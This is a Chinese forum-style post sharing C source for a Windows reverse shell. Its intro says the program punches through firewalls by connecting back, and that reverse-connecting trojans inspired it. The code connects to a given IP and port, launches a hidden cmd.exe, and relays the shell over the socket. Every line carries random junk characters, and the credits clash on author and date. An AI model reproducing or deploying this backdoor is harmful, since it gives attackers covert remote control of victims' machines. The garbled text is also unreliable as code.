这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +`TwBN,kp-
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/* ============================== xS_tB)C
Rebound port in Windows NT SKJ'6*6
By wind,2006/7 Su k;##I
===============================*/ T>m|C}yy
#include rM20Y(|
#include <'O|7.
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#pragma comment(lib,"wsock32.lib") bJL ,pe+u
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void OutputShell(); A~8-{F 31
SOCKET sClient; +\Je
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /+f3jy:d
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void main(int argc,char **argv) l6T5]$
{ !H`uN
WSADATA stWsaData; BSg3
int nRet; %&iWc_"
SOCKADDR_IN stSaiClient,stSaiServer; NJ(H$tB@
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if(argc != 3) \C`2z]V%
{ eX o@3/
printf("Useage:\n\rRebound DestIP DestPort\n"); 8LlWXeD9
return; yu=(m~KX
} 8&v%>wxR@
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WSAStartup(MAKEWORD(2,2),&stWsaData); b IZi3GmRF
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E1>zKENN;
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stSaiClient.sin_family = AF_INET; ^-K~y
stSaiClient.sin_port = htons(0);
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >>0c)uC|W
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) TuzH'F
{ ;V4f6[<]'z
printf("Bind Socket Failed!\n"); s6_[H
return; E=l^&[dIl
} ~tqDh(
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stSaiServer.sin_family = AF_INET; ]PZ\N~T
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .q9i10C
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8#15*'Y
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W.
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{ -\}Ix>
printf("Connect Error!"); [2nPr^
return; jLreN#:9
} @'FO M
OutputShell(); ~9dAoILrl
} Z_[jah
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void OutputShell() NU!B|l
{ '0/[%Q
char szBuff[1024]; $|}PL[aA#
SECURITY_ATTRIBUTES stSecurityAttributes; D2Dk7//82Y
OSVERSIONINFO stOsversionInfo; S&;D
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |%5nV=&\
STARTUPINFO stStartupInfo; JiCy77H
char *szShell; BI0 A0
PROCESS_INFORMATION stProcessInformation; <^wqN!/
unsigned long lBytesRead; 'A9U[|
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); wM&WR2
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Fx' E"d
stSecurityAttributes.lpSecurityDescriptor = 0; 2V =bE-
stSecurityAttributes.bInheritHandle = TRUE; doV+u(J~
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L=5Fvm
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); t+Hx&_pMj
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); dSIZsapH
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^ l9NF
stStartupInfo.wShowWindow = SW_HIDE; ]eIV'lP,j/
stStartupInfo.hStdInput = hReadPipe; ~3s\Q%
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =hB0p^a
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GetVersionEx(&stOsversionInfo); (T Fo]c
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switch(stOsversionInfo.dwPlatformId) gPg2Ve0Qy
{ nW`EBs
case 1: TGu]6NzyZ
szShell = "command.com"; <Z8^.t)|
break; ]*JH~.p
default: 6`;+| H<$
szShell = "cmd.exe"; HVK./yqy
break; :_"%o=
} yaKw/vV
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Ve^rzGU
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send(sClient,szMsg,77,0); Z7Xic5PI{4
while(1) mL[Y{t#N
{ k>q}: J9V
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?br 4 wl
if(lBytesRead) [u}2xsSx
{ &%`Y>\@f
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /f)
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send(sClient,szBuff,lBytesRead,0); It3.
} mY !LGN
else <<.%Gk
{ 7__?1n~{
lBytesRead=recv(sClient,szBuff,1024,0); >@c~ M
if(lBytesRead<=0) break;
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); gtV*`g
} 3&z.m/
} rE&+fSBD
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return; JW-!m8
}